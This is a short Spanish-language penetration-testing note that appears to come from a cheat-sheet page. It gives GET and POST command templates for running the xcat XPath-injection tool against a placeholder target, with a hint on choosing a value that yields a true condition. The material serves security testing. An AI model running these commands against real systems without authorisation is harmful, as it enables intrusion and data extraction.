{% hint style="info" %}
Especificar al parámetro vulnerable (`<vulnerable-param>`) un valor de muestra que conduzca a un resultado positivo (`<true-condition>`).
{% endhint %}

```sh
# GET
xcat run -m GET http://<target>/index.php <vulnerable-param> <param1>=<value1> <param2>=<value2> --true-string=<true-condition> --headers=<headers.txt>
# POST
xcat run -m POST http://<target>/index.php <vulnerable-param> <param1>=<value1> <param2>=<value2> --true-string=<true-condition> --encode=form --headers=<headers.txt>
